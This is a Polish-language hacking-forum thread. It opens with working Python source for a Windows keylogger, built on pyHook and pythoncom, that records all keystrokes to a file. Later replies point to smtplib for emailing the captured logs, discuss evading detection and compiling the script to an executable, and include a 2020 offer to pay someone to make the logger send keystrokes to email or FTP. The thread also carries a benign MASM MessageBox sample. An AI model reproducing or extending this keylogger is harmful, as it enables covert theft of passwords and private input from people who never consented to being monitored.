Strona 1 z 1
Keylogger w Pythonie (moja przerobka)
: 10 sty 2016, 16:55
autor: Kenjin
Witam, prezentuje wam moja ulepszona wersje najpopularniejszego keyloggera w pythonie. Wykorzystuje ona moduly pyhook(do hookowania klawiszy) i pythoncom(pywin32). Loguje do pliku.
Kod: Zaznacz cały
import pythoncom, pyHook, time
buffer = []
def OnKeyboardEvent(event):
buffer.append(chr(event.Ascii))
if len(buffer) > 20:
f = open('C://output.txt', 'a')
wpisz = str(buffer)
wpisz = wpisz.replace(",", "")
wpisz = wpisz.replace("'", "")
wpisz = wpisz.replace('[', "")
wpisz = wpisz.replace(']', "")
f.write(wpisz)
f.write('\n')
f.close()
buffer[:] = []
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Re: Keylogger(moja przerobka)
: 11 sty 2016, 06:37
autor: F3nix
Dzięki za źródła! Dla mnie jednak keyloggery w językach interpretowanych bronią się tylko poziomem wykrywalności... bo trochę cienka sprawa jest gdy ktoś nie ma zainstalowanego Pythona na kompie. Pewnie wyskoczy Kanjin zaraz, że przecież da się skompilować PY na EXE...
PS
smtplib dla potomnych
:
http://www.tutorialspoint.com/python/py ... _email.htm
Re: Keylogger(moja przerobka)
: 11 sty 2016, 10:38
autor: Kenjin
F3nix pisze: Pewnie wyskoczy Kanjin zaraz, że przecież da się skompilować PY na EXE...
No da sie
Ale podzielam opinie, ze tego typu rzeczy powinno sie w jak najnizejpoziomowych jezykach pisac. Swoja droga widzial ktos kiedys keyloggera w assemblerze ?
Re: Keylogger w Pythonie (moja przerobka)
: 11 sty 2016, 13:14
autor: F3nix
Ja widziałem i wcale nie odbiega daleko od większości keyloggerów. Jeśli ktoś napisał sobie lub przeanalizował jakiś dajmy na to w C++ keylogger i coś tam skubał w ASM to bez problemu napisze. Wystarczy poszukać informacji o WinApi ASM. Używanie w asm winapi nie jest wcale trudne. Zobacz to zwykły messagebox z winapi:
http://win32assembly.programminghorizon.com/tut2.html
Kod: Zaznacz cały
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.data
MsgBoxCaption db "Iczelion Tutorial No.2",0
MsgBoxText db "Win32 Assembly is Great!",0
.code
start:
invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK
invoke ExitProcess, NULL
end start
Jak się w sumie przyjrzysz i porównasz to do wywołania messageboxa w C++ lub samej dokumentacji od M$ oficjalnej:
https://msdn.microsoft.com/en-us/librar ... s.85).aspx
to sam stwierdzisz że w sumie niczym się nie różni używanie. Jak w przykładzie deklarujesz 2 zmienne nazwa okna i tekst w okienku i wywołujesz z parametrami messagebox analogicznie do innych języków.
Nie wierze też, że nie znajdzie się gotowych wstawek w ASM do obsługi plików itd w sieci. Myślę że ASM wymaga po prostu obycia. Ewentualnie piszesz w C++ i deasemblera uzywajac masz gotowy kod w ASM
Re: Keylogger w Pythonie (moja przerobka)
: 06 sty 2020, 19:11
autor: Hoqu
Kto by mi to zrobił żeby wysyłalo logi klawiatury na email bądź serwer FTP, (zapłacę)